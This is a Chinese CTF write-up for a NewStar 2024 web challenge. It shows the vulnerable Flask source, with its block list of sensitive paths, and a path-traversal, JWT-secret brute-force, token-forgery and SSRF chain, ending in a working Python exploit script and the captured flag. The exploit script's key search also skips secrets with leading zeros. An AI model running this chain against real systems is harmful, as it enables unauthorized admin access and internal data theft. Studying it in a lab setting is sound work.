NewStar 这“照片”是你吗 web

源码提示:

image-20241028100322398

为什么没有Nginx或Apache就能说明服务器脚本能够处理静态文件?

在一般的 Web 服务器部署中,静态资源(如图片、CSS 文件)通常由 Nginx 或 Apache 这样的服务器专门处理,因为它们效率更高,如果页面上的图标或图片等静态资源能正常显示,说明服务器脚本(如 Flask、Django 等)自己在处理这些文件请求,可以推测应用服务器(如 Flask 自带的开发服务器)可能在直接处理所有请求,包括静态文件。

image-20241028100710206

server显示python和werkzeug,查到跟flask有关,flask的启动脚本,源码一般在app,py里

burp抓包,路径穿越:

image-20241028100906090

为甚么是../app.py,路径穿越需要尝试,这个不行也可以试试../../

显示源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
from flask import Flask, make_response, render_template_string, request, redirect, send_file
import uuid
import jwt
import time

import os
import requests

from flag import get_random_number_string

base_key = str(uuid.uuid4()).split("-")
secret_key = get_random_number_string(6)
admin_pass = "".join([ _ for _ in base_key])

print(admin_pass)

app = Flask(__name__)
failure_count = 0

users = {
'admin': admin_pass,
'amiya': "114514"
}

def verify_token(token):
try:
global failure_count
if failure_count >= 100:
return make_response("You have tried too many times! Please restart the service!", 403)
data = jwt.decode(token, secret_key, algorithms=["HS256"])
if data.get('user') != 'admin':
failure_count += 1
return make_response("You are not admin!<br><img src='/3.png'>", 403)
except:
return make_response("Token is invalid!<br><img src='/3.png'>", 401)
return True

@app.route('/')
def index():
return redirect("/home")

@app.route('/login', methods=['POST'])
def login():
username = request.form['username']
password = request.form['password']
global failure_count
if failure_count >= 100:
return make_response("You have tried too many times! Please restart the service!", 403)
if users.get(username)==password:
token = jwt.encode({'user': username, 'exp': int(time.time()) + 600}, secret_key)
response = make_response('Login success!<br><a href="/home">Go to homepage</a>')
response.set_cookie('token', token)
return response
else:
failure_count += 1
return make_response('Could not verify!<br><img src="/3.png">', 401)

@app.route('/logout')
def logout():
response = make_response('Logout success!<br><a href="/home">Go to homepage</a>')
response.set_cookie('token', '', expires=0)
return response

@app.route('/home')
def home():
logged_in = False
try:
token = request.cookies.get('token')
data = jwt.decode(token, secret_key, algorithms=["HS256"])
text = "Hello, %s!" % data.get('user')
logged_in = True
except:
logged_in = False
text = "You have not logged in!"
data = {}
return render_template_string(r'''
<!DOCTYPE html>
<html>
<head>
<title>Home Page</title>
</head>
<body>
<!-- 图标能够正常显示耶! -->
<!-- 但是我好像没有看到Nginx或者Apache之类的东西 -->
<!-- 说明服务器脚本能够处理静态文件捏 -->
<!-- 那源码是不是可以用某些办法拿到呢! -->
{{ text }}<br>
{% if logged_in %}
<a href="/logout">登出</a>
{% else %}
<h2>登录</h2>
<form action="/login" method="post">
用户名: <input type="text" name="username"><br>
密码: <input type="password" name="password"><br>
<input type="submit" value="登录">
</form>
{% endif %}
<br>
{% if user=="admin" %}
<a href="/admin">Go to admin panel</a>
<img src="/2.png">
{% else %}
<img src="/1.png">
{% endif %}
</body>
</html>
''', text=text, logged_in=logged_in, user=data.get('user'))

@app.route('/admin')
def admin():
try:
token = request.cookies.get('token')
if verify_token(token) != True:
return verify_token(token)
resp_text = render_template_string(r'''
<!DOCTYPE html>
<html>
<head>
<title>Admin Panel</title>
</head>
<body>
<h1>Admin Panel</h1>
<p>GET Server Info from api:</p>
<input type="input" value={{api_url}} id="api" readonly>
<button onclick=execute()>Execute</button>
<script>
function execute() {
fetch("{{url}}/execute?api_address="+document.getElementById("api").value,
{credentials: "include"}
).then(res => res.text()).then(data => {
document.write(data);
});
}
</script>
</body>
</html>
''', api_url=request.host_url+"/api", url=request.host_url)
resp = make_response(resp_text)
resp.headers['Access-Control-Allow-Credentials'] = 'true'
return resp
except:
return make_response("Token is invalid!<br><img src='/3.png'>", 401)

@app.route('/execute')
def execute():
token = request.cookies.get('token')
if verify_token(token) != True:
return verify_token(token)
api_address = request.args.get("api_address")
if not api_address:
return make_response("No api address!", 400)
response = requests.get(api_address, cookies={'token': token})
return response.text

@app.route("/api")
def api():
token = request.cookies.get('token')
if verify_token(token) != True:
return verify_token(token)
resp = make_response(f"Server Info: {os.popen('uname -a').read()}")
resp.headers['Access-Control-Allow-Credentials'] = 'true'
return resp


@app.route("/<path:file>")
def static_file(file):
print(file)
restricted_keywords = ["proc", "env", "passwd", "shadow", "hosts", "sys", "log", "etc",
"bin", "lib", "tmp", "var", "run", "dev", "home", "boot"]
if any(keyword in file for keyword in restricted_keywords):
return make_response("STOP!", 404)
if not os.path.exists("./static/" + file):
return make_response("Not found!", 404)
return send_file("./static/" + file)


if __name__ == '__main__':
app.run(host="0.0.0.0",port=5000)

我们按着逻辑看看:

首先是/home

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
@app.route('/home')
def home():
logged_in = False
try:
token = request.cookies.get('token')
data = jwt.decode(token, secret_key, algorithms=["HS256"])
text = "Hello, %s!" % data.get('user')
logged_in = True
except:
logged_in = False
text = "You have not logged in!"
data = {}
return render_template_string(r'''
<!DOCTYPE html>
<html>
<head>
<title>Home Page</title>
</head>
<body>
<!-- 图标能够正常显示耶! -->
<!-- 但是我好像没有看到Nginx或者Apache之类的东西 -->
<!-- 说明服务器脚本能够处理静态文件捏 -->
<!-- 那源码是不是可以用某些办法拿到呢! -->
{{ text }}<br>
{% if logged_in %}
<a href="/logout">登出</a>
{% else %}
<h2>登录</h2>
<form action="/login" method="post">
用户名: <input type="text" name="username"><br>
密码: <input type="password" name="password"><br>
<input type="submit" value="登录">
</form>
{% endif %}
<br>
{% if user=="admin" %}
<a href="/admin">Go to admin panel</a>
<img src="/2.png">
{% else %}
<img src="/1.png">
{% endif %}
</body>
</html>
''', text=text, logged_in=logged_in, user=data.get('user'))

这里其实就是一开始的渲染,我们看到token,jwt和secret_key

看看secret_key

1
2
3
4
5
6
7
8
9
10
from flag import get_random_number_string

base_key = str(uuid.uuid4()).split("-")
secret_key = get_random_number_string(6)
admin_pass = "".join([ _ for _ in base_key])

users = {
'admin': admin_pass,
'amiya': "114514"
}

basekey是uuid去掉-也就是32位的basekey,根据base_key得到一个密码,这里还给了两个用户,我们访问amiya没发现什么,但是通过抓包,我们发现了token

image-20241028102301301

1

secret_key从flag来,我们看看路径穿越访问试试:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from flask import Flask
import os
import random

def get_random_number_string(length):
return ''.join([str(random.randint(0, 9)) for _ in range(length)])

get_flag = Flask("get_flag")

FLAG = os.environ.pop("ICQ_FLAG", "flag{test_flag}")

@get_flag.route("/fl4g")
#如何触发它呢?
def flag():
return FLAG

if __name__ == "__main__":
get_flag.run(host="127.0.0.1",port=5001)

提示我们,flag要通过/fl4g访问,同时注意到get_flag.run(host=”127.0.0.1”,port=5001)这里是5001而app.py中是5000

get_random….这个就是根据length去生成,length是6,也就是6位的secret_key

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
@app.route('/login', methods=['POST'])
def login():
username = request.form['username']
password = request.form['password']
global failure_count
if failure_count >= 100:
return make_response("You have tried too many times! Please restart the service!", 403)
if users.get(username)==password:
token = jwt.encode({'user': username, 'exp': int(time.time()) + 600}, secret_key)
response = make_response('Login success!<br><a href="/home">Go to homepage</a>')
response.set_cookie('token', token)
return response
else:
failure_count += 1
return make_response('Could not verify!<br><img src="/3.png">', 401)

可以看看登录了,这里有个failure_count,其实我一开始还做了爆破,这里做了限制,我们不能爆破登陆了

我们只有一个办法,伪造token

我们不要陷入一个误区,这题关键不在破解密码,而是得到flag,我们耐心继续看完代码

1
2
3
4
5
6
7
8
9
10
11
12
@app.route('/execute')
def execute():
token = request.cookies.get('token')
if verify_token(token) != True:
return verify_token(token)
api_address = request.args.get("api_address")
if not api_address:
return make_response("No api address!", 400)
response = requests.get(api_address, cookies={'token': token})
return response.text


这里的execute首先会验证token然后get一个api_address,然后去返回,这是不是就存在SSRF漏洞,联想到之前的5001

我们可以构建payload:

1
/execute?api_address=http://localhost:5001/fl4g

来显示Fl4g

这里还需要校验token,我们看看

1
2
3
4
5
6
7
8
9
10
11
12
def verify_token(token):
try:
global failure_count
if failure_count >= 100:
return make_response("You have tried too many times! Please restart the service!", 403)
data = jwt.decode(token, secret_key, algorithms=["HS256"])
if data.get('user') != 'admin':
failure_count += 1
return make_response("You are not admin!<br><img src='/3.png'>", 403)
except:
return make_response("Token is invalid!<br><img src='/3.png'>", 401)
return True
    data = jwt.decode(token, secret_key, algorithms=["HS256"])
    if data.get('user') != 'admin':

这里我们发现只校验了user是不是admin,根本每校验密码,不需要我们登录,我们这样只需要爆破得到secret_key,伪造一个token就能发了

我们写脚本:

这里参考官解这照片是你吗 | WriteUp - NewStar CTF 2024

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
import jwt
import time
import requests

url = "http://8.147.132.32:37713/"

req = requests.post(url+"/login", data={"username":"amiya","password":"114514"})

# 我们之前发现cookie里有token,req.cookies.get('token')也行
token = req.cookies['token']
print("获取到的 token:", token)

# def get_number_string(number,length):
# return str(number).zfill(length)
# 爆破key,secret是个6位数
# for i in range(1000000):
# secret_key = get_number_string(i,6)
# try:
# decoded = jwt.decode(token, secret_key, algorithms=["HS256"])
# break
# except jwt.exceptions.InvalidSignatureError:
# continue

for i in range(100000, 1000000):
secret_key = str(i)
try:
decoded = jwt.decode(token, secret_key, algorithms=["HS256"])
print("Secret found:", i)
break
except jwt.exceptions.InvalidSignatureError:
continue

print(f"secret key: {secret_key}")

admin_payload = {
'user': 'admin',
'exp': int(time.time()) + 600 # 10分钟后过期
}

admin_token = jwt.encode(admin_payload, secret_key)
print("伪造的 admin Token:", admin_token)

req = requests.get(url+"/execute?api_address=http://localhost:5001/fl4g", cookies={"token":admin_token})

print(f"flag: {req.text}")

flag{7cc594e1-0b23-48f8-ba0c-4b9e06dcc297}

这里有个jwt工具,记录一下crackjwt